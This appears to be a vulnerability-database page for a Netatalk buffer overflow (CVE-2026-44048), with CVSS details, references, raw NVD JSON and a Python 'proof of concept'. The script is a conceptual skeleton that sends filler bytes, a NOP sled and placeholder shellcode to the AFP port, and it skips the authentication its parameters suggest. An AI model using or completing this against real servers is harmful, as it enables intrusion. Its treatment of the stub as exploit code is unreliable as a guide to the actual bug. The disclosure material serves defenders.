CVE-2026-44048

Description

A stack-based buffer overflow via UCS-2 type confusion in convert_charset() in Netatalk 2.0.4 through 4.4.2 allows a remote authenticated attacker to execute arbitrary code or cause a denial of service.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Netatalk 2.0.4 - 4.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-44048 (Conceptual)
import socket

def exploit_poc(target_ip, port, username, password):
    try:
        # Establish connection to AFP service
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, port))
        
        # Simulate AFP Login (simplified)
        # In a real scenario, AFP handshake and authentication are required
        payload = b"\x00\x04\x41\x46\x50" # AFP Header stub
        
        # Malicious buffer to trigger UCS-2 type confusion overflow
        # The specific offset and padding depend on the binary analysis
        overflow = b"A" * 256
        nop_sled = b"\x90" * 32
        # shellcode placeholder
        shellcode = b"\xcc\xcc\xcc\xcc" 
        
        # Construct malicious packet targeting convert_charset
        malicious_packet = payload + overflow + nop_sled + shellcode
        
        s.send(malicious_packet)
        print(f"[*] Malicious packet sent to {target_ip}:{port}")
        s.close()
    except Exception as e:
        print(f"Error: {e}")

# Usage
# exploit_poc("127.0.0.1", 548, "user", "pass")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44048
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44048
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44048/
[4] VulDB https://vuldb.com/cve/CVE-2026-44048
[5] https://netatalk.io/security/CVE-2026-44048

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44048", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T08:16:20.360", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack-based buffer overflow via UCS-2 type confusion in convert_charset() in Netatalk 2.0.4 through 4.4.2 allows a remote authenticated attacker to execute arbitrary code or cause a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44048", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}